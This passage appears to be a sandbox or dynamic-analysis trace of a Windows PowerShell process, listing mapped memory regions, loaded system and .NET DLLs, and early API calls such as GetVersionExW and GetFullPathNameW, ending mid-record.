"\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system\\adff7dd9fe8e541775c46b6363401b22\\system.ni.dll") Region: id = 760 start_va = 0x7fffff10000 end_va = 0x7fffff1ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 761 start_va = 0x7fffff20000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffff20000" filename = "" Region: id = 762 start_va = 0x7fee29d0000 end_va = 0x7fee352cfff entry_point = 0x7fee29d0000 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management.a#\\009a09f5b2322bb8c5520dc5ddbb28bb\\system.management.automation.ni.dll") Region: id = 763 start_va = 0x7ff00170000 end_va = 0x7ff0017ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00170000" filename = "" Region: id = 764 start_va = 0x1df0000 end_va = 0x1df2fff entry_point = 0x1df0000 region_type = mapped_file name = "l_intl.nls" filename = "\\Windows\\System32\\l_intl.nls" (normalized: "c:\\windows\\system32\\l_intl.nls") Region: id = 765 start_va = 0x2270000 end_va = 0x232ffff entry_point = 0x2270000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 766 start_va = 0x778c0000 end_va = 0x778c6fff entry_point = 0x778c0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 767 start_va = 0x1ef0000 end_va = 0x1ef0fff entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 768 start_va = 0x1f00000 end_va = 0x1f04fff entry_point = 0x1f00000 region_type = mapped_file name = "sorttbls.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp") Region: id = 769 start_va = 0x2880000 end_va = 0x28c0fff entry_point = 0x2880000 region_type = mapped_file name = "sortkey.nlp" filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp") Region: id = 770 start_va = 0x7ff00180000 end_va = 0x7ff0018ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00180000" filename = "" Region: id = 771 start_va = 0x1f10000 end_va = 0x1f17fff entry_point = 0x1f10000 region_type = mapped_file name = "microsoft.wsman.runtime.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\microsoft.wsman.runtime.dll") Region: id = 772 start_va = 0x2330000 end_va = 0x2330fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002330000" filename = "" Region: id = 773 start_va = 0x1b3b0000 end_va = 0x1b4affff entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 774 start_va = 0x1e230000 end_va = 0x1e278fff entry_point = 0x1e230000 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 775 start_va = 0x7fee21d0000 end_va = 0x7fee22b4fff entry_point = 0x7fee21d0000 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.transactions\\051655963f24f9ade08486084c570086\\system.transactions.ni.dll") Region: id = 776 start_va = 0x7fee22c0000 end_va = 0x7fee2369fff entry_point = 0x7fee22c0000 region_type = mapped_file name = "microsoft.wsman.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.wsman.man#\\8cd73e65058ef6f77f36b62a74ec3344\\microsoft.wsman.management.ni.dll") Region: id = 777 start_va = 0x7fee25f0000 end_va = 0x7fee2621fff entry_point = 0x7fee25f0000 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuratio#\\fcf35536476614410e0b0bd0e412199e\\system.configuration.install.ni.dll") Region: id = 778 start_va = 0x7fee2630000 end_va = 0x7fee2698fff entry_point = 0x7fee2630000 region_type = mapped_file name = "microsoft.powershell.commands.diagnostics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\microsoft.powershell.commands.diagnostics.ni.dll") Region: id = 779 start_va = 0x7fee26a0000 end_va = 0x7fee29cdfff entry_point = 0x7fee26a0000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.core\\83e2f6909980da7347e7806d8c26670e\\system.core.ni.dll") Region: id = 780 start_va = 0x2340000 end_va = 0x2340fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002340000" filename = "" Region: id = 781 start_va = 0x642ff4a0000 end_va = 0x642ff4a9fff entry_point = 0x642ff4a0000 region_type = mapped_file name = "culture.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\culture.dll") Region: id = 782 start_va = 0x7fee1e90000 end_va = 0x7fee1fa7fff entry_point = 0x7fee1e90000 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\9206dc8156588e608d405729c833edc5\\microsoft.powershell.commands.management.ni.dll") Region: id = 783 start_va = 0x7fee1fb0000 end_va = 0x7fee21c5fff entry_point = 0x7fee1fb0000 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\cdf48153115fc0bb466f37b7dcad9ac5\\microsoft.powershell.commands.utility.ni.dll") Region: id = 784 start_va = 0x7fef1960000 end_va = 0x7fef199dfff entry_point = 0x7fef1960000 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\microsoft.powershell.security.ni.dll") Region: id = 785 start_va = 0x2960000 end_va = 0x29b3fff entry_point = 0x2960000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorrc.dll") Region: id = 786 start_va = 0x7fee12d0000 end_va = 0x7fee1464fff entry_point = 0x7fee12d0000 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\system.directoryservices.ni.dll") Region: id = 787 start_va = 0x7fee1470000 end_va = 0x7fee15dbfff entry_point = 0x7fee1470000 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management\\c44929bde355680c886f8a52f5e22b81\\system.management.ni.dll") Region: id = 788 start_va = 0x7fee17e0000 end_va = 0x7fee1e84fff entry_point = 0x7fee17e0000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.xml\\ee795155543768ea67eecddc686a1e9e\\system.xml.ni.dll") Region: id = 789 start_va = 0x7fef5470000 end_va = 0x7fef5476fff entry_point = 0x7fef5470000 region_type = mapped_file name = "shfolder.dll" filename = "\\Windows\\System32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll") Region: id = 790 start_va = 0x2340000 end_va = 0x2340fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002340000" filename = "" Region: id = 791 start_va = 0x1b4b0000 end_va = 0x1b4c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b4b0000" filename = "" Region: id = 792 start_va = 0x7fee1140000 end_va = 0x7fee12c3fff entry_point = 0x7fee1140000 region_type = mapped_file name = "mscorjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorjit.dll") Region: id = 793 start_va = 0x7ff00190000 end_va = 0x7ff0019ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00190000" filename = "" Region: id = 794 start_va = 0x7ff001a0000 end_va = 0x7ff001affff entry_point = 0x0 region_type = private name = "private_0x000007ff001a0000" filename = "" Region: id = 795 start_va = 0x7ff001b0000 end_va = 0x7ff001bffff entry_point = 0x0 region_type = private name = "private_0x000007ff001b0000" filename = "" Region: id = 796 start_va = 0x7ff001c0000 end_va = 0x7ff001cffff entry_point = 0x0 region_type = private name = "private_0x000007ff001c0000" filename = "" Region: id = 797 start_va = 0x7ff001d0000 end_va = 0x7ff001dffff entry_point = 0x0 region_type = private name = "private_0x000007ff001d0000" filename = "" Region: id = 798 start_va = 0x7ff001e0000 end_va = 0x7ff001effff entry_point = 0x0 region_type = private name = "private_0x000007ff001e0000" filename = "" Region: id = 799 start_va = 0x7ff001f0000 end_va = 0x7ff001fffff entry_point = 0x0 region_type = private name = "private_0x000007ff001f0000" filename = "" Region: id = 800 start_va = 0x7fefd4d0000 end_va = 0x7fefd4dafff entry_point = 0x7fefd4d0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 801 start_va = 0x7ff00200000 end_va = 0x7ff0020ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00200000" filename = "" Region: id = 802 start_va = 0x7ff00210000 end_va = 0x7ff0021ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00210000" filename = "" Region: id = 803 start_va = 0x7ff00220000 end_va = 0x7ff0022ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00220000" filename = "" Region: id = 804 start_va = 0x7fefd500000 end_va = 0x7fefd524fff entry_point = 0x7fefd500000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 805 start_va = 0x1b870000 end_va = 0x1b96ffff entry_point = 0x0 region_type = private name = "private_0x000000001b870000" filename = "" Region: id = 806 start_va = 0x2360000 end_va = 0x2360fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002360000" filename = "" Region: id = 807 start_va = 0x1b970000 end_va = 0x1bc6efff entry_point = 0x1b970000 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\assembly\\GAC_64\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 808 start_va = 0x7fee08f0000 end_va = 0x7fee113afff entry_point = 0x7fee08f0000 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data\\accc3a5269658c8c47fe3e402ac4ac1c\\system.data.ni.dll") Region: id = 809 start_va = 0x7fefd6e0000 end_va = 0x7fefd6eefff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 810 start_va = 0x7fefd8a0000 end_va = 0x7fefda06fff entry_point = 0x7fefd8a0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 811 start_va = 0x7fefdcf0000 end_va = 0x7fefdcf7fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 812 start_va = 0x7feff290000 end_va = 0x7feff2dcfff entry_point = 0x7feff290000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 813 start_va = 0x7ff00230000 end_va = 0x7ff0023ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00230000" filename = "" Region: id = 814 start_va = 0x7ff00240000 end_va = 0x7ff0024ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00240000" filename = "" Region: id = 815 start_va = 0x27f0000 end_va = 0x27fffff entry_point = 0x0 region_type = private name = "private_0x00000000027f0000" filename = "" Region: id = 816 start_va = 0x28d0000 end_va = 0x28dffff entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 817 start_va = 0x29c0000 end_va = 0x29cffff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 818 start_va = 0x1b4d0000 end_va = 0x1b4dffff entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 819 start_va = 0x7ff00250000 end_va = 0x7ff0025ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00250000" filename = "" Region: id = 820 start_va = 0x7ff00260000 end_va = 0x7ff0026ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00260000" filename = "" Region: id = 821 start_va = 0x7ff00270000 end_va = 0x7ff0027ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00270000" filename = "" Region: id = 838 start_va = 0x1b4e0000 end_va = 0x1b4effff entry_point = 0x0 region_type = private name = "private_0x000000001b4e0000" filename = "" Region: id = 839 start_va = 0x1bcd0000 end_va = 0x1bd4ffff entry_point = 0x0 region_type = private name = "private_0x000000001bcd0000" filename = "" Region: id = 840 start_va = 0x1be30000 end_va = 0x1c7bffff entry_point = 0x0 region_type = private name = "private_0x000000001be30000" filename = "" Region: id = 841 start_va = 0x7fedf3b0000 end_va = 0x7fedf4f2fff entry_point = 0x7fedf3b0000 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuration\\091b931d0f6408001747dbbbb05dbe66\\system.configuration.ni.dll") Region: id = 842 start_va = 0x7ff00280000 end_va = 0x7ff0028ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00280000" filename = "" Region: id = 843 start_va = 0x7fffff0c000 end_va = 0x7fffff0dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff0c000" filename = "" Region: id = 844 start_va = 0x7fffff0e000 end_va = 0x7fffff0ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff0e000" filename = "" Region: id = 845 start_va = 0x7fef3050000 end_va = 0x7fef306bfff entry_point = 0x7fef3050000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 846 start_va = 0x7fef3070000 end_va = 0x7fef30d1fff entry_point = 0x7fef3070000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 847 start_va = 0x7fefacb0000 end_va = 0x7fefacc0fff entry_point = 0x7fefacb0000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 848 start_va = 0x7fefced0000 end_va = 0x7fefcf24fff entry_point = 0x7fefced0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 849 start_va = 0x1c7c0000 end_va = 0x1ca0ffff entry_point = 0x0 region_type = private name = "private_0x000000001c7c0000" filename = "" Region: id = 850 start_va = 0x7fefc8d0000 end_va = 0x7fefc8d6fff entry_point = 0x7fefc8d0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 851 start_va = 0x7fefcec0000 end_va = 0x7fefcec6fff entry_point = 0x7fefcec0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 852 start_va = 0x1b4d0000 end_va = 0x1b4effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b4d0000" filename = "" Region: id = 853 start_va = 0x1c810000 end_va = 0x1c88ffff entry_point = 0x0 region_type = private name = "private_0x000000001c810000" filename = "" Region: id = 854 start_va = 0x1c990000 end_va = 0x1ca0ffff entry_point = 0x0 region_type = private name = "private_0x000000001c990000" filename = "" Region: id = 855 start_va = 0x7fef7e10000 end_va = 0x7fef7e73fff entry_point = 0x7fef7e10000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 856 start_va = 0x7fef7e80000 end_va = 0x7fef7ef0fff entry_point = 0x7fef7e80000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 857 start_va = 0x7fffff0a000 end_va = 0x7fffff0bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff0a000" filename = "" Region: id = 858 start_va = 0x7fefb250000 end_va = 0x7fefb276fff entry_point = 0x7fefb250000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 859 start_va = 0x7fefb240000 end_va = 0x7fefb24afff entry_point = 0x7fefb240000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 860 start_va = 0x7fefb0c0000 end_va = 0x7fefb0d0fff entry_point = 0x7fefb0c0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 861 start_va = 0x7fefb0a0000 end_va = 0x7fefb0b7fff entry_point = 0x7fefb0a0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 862 start_va = 0x7fefcb30000 end_va = 0x7fefcb39fff entry_point = 0x7fefcb30000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 873 start_va = 0x1ca10000 end_va = 0x1ca8ffff entry_point = 0x0 region_type = private name = "private_0x000000001ca10000" filename = "" Region: id = 874 start_va = 0x7fefcd50000 end_va = 0x7fefcdaafff entry_point = 0x7fefcd50000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 875 start_va = 0x7fffff08000 end_va = 0x7fffff09fff entry_point = 0x0 region_type = private name = "private_0x000007fffff08000" filename = "" Region: id = 876 start_va = 0x1ca90000 end_va = 0x1cbdffff entry_point = 0x0 region_type = private name = "private_0x000000001ca90000" filename = "" Region: id = 877 start_va = 0x7fef6ee0000 end_va = 0x7fef6ee7fff entry_point = 0x7fef6ee0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 903 start_va = 0x7fefb0f0000 end_va = 0x7fefb142fff entry_point = 0x7fefb0f0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 904 start_va = 0x1cbe0000 end_va = 0x1ce2ffff entry_point = 0x0 region_type = private name = "private_0x000000001cbe0000" filename = "" Region: id = 913 start_va = 0x74e60000 end_va = 0x74e62fff entry_point = 0x74e60000 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 914 start_va = 0x7fefccc0000 end_va = 0x7fefcd16fff entry_point = 0x7fefccc0000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 916 start_va = 0x7fefd0d0000 end_va = 0x7fefd11dfff entry_point = 0x7fefd0d0000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 917 start_va = 0x7fefd0a0000 end_va = 0x7fefd0c1fff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 918 start_va = 0x7fefcb70000 end_va = 0x7fefcbbbfff entry_point = 0x7fefcb70000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 919 start_va = 0x1c900000 end_va = 0x1c97ffff entry_point = 0x0 region_type = private name = "private_0x000000001c900000" filename = "" Region: id = 920 start_va = 0x7fffff06000 end_va = 0x7fffff07fff entry_point = 0x0 region_type = private name = "private_0x000007fffff06000" filename = "" Region: id = 921 start_va = 0x7fefc9c0000 end_va = 0x7fefc9dafff entry_point = 0x7fefc9c0000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 922 start_va = 0x7fef1340000 end_va = 0x7fef1365fff entry_point = 0x7fef1340000 region_type = mapped_file name = "cryptnet.dll" filename = "\\Windows\\System32\\cryptnet.dll" (normalized: "c:\\windows\\system32\\cryptnet.dll") Region: id = 923 start_va = 0x7fef54e0000 end_va = 0x7fef54e8fff entry_point = 0x7fef54e0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 924 start_va = 0x27f0000 end_va = 0x27f3fff entry_point = 0x27f0000 region_type = mapped_file name = "winhttp.dll.mui" filename = "\\Windows\\System32\\en-US\\winhttp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winhttp.dll.mui") Region: id = 925 start_va = 0x7fefa780000 end_va = 0x7fefa79afff entry_point = 0x7fefa780000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 926 start_va = 0x7fefca00000 end_va = 0x7fefca11fff entry_point = 0x7fefca00000 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 927 start_va = 0x1ce30000 end_va = 0x1d02ffff entry_point = 0x0 region_type = private name = "private_0x000000001ce30000" filename = "" Thread: id = 38 os_tid = 0xb9c [0079.234] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0079.646] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0079.646] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0079.646] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0079.646] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0081.575] GetVersionExW (in: lpVersionInformation=0xedc00*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xedc00*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0081.577] GetVersionExW (in: lpVersionInformation=0xedc00*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xedc00*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0081.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed820, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0081.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0081.633] GetVersionExW (in: lpVersionInformation=0xed970*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xed970*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0081.633] SetErrorMode (uMode=0x1) returned 0x1 [0081.634] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0xedad0 | out: lpFileInformation=0xedad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, 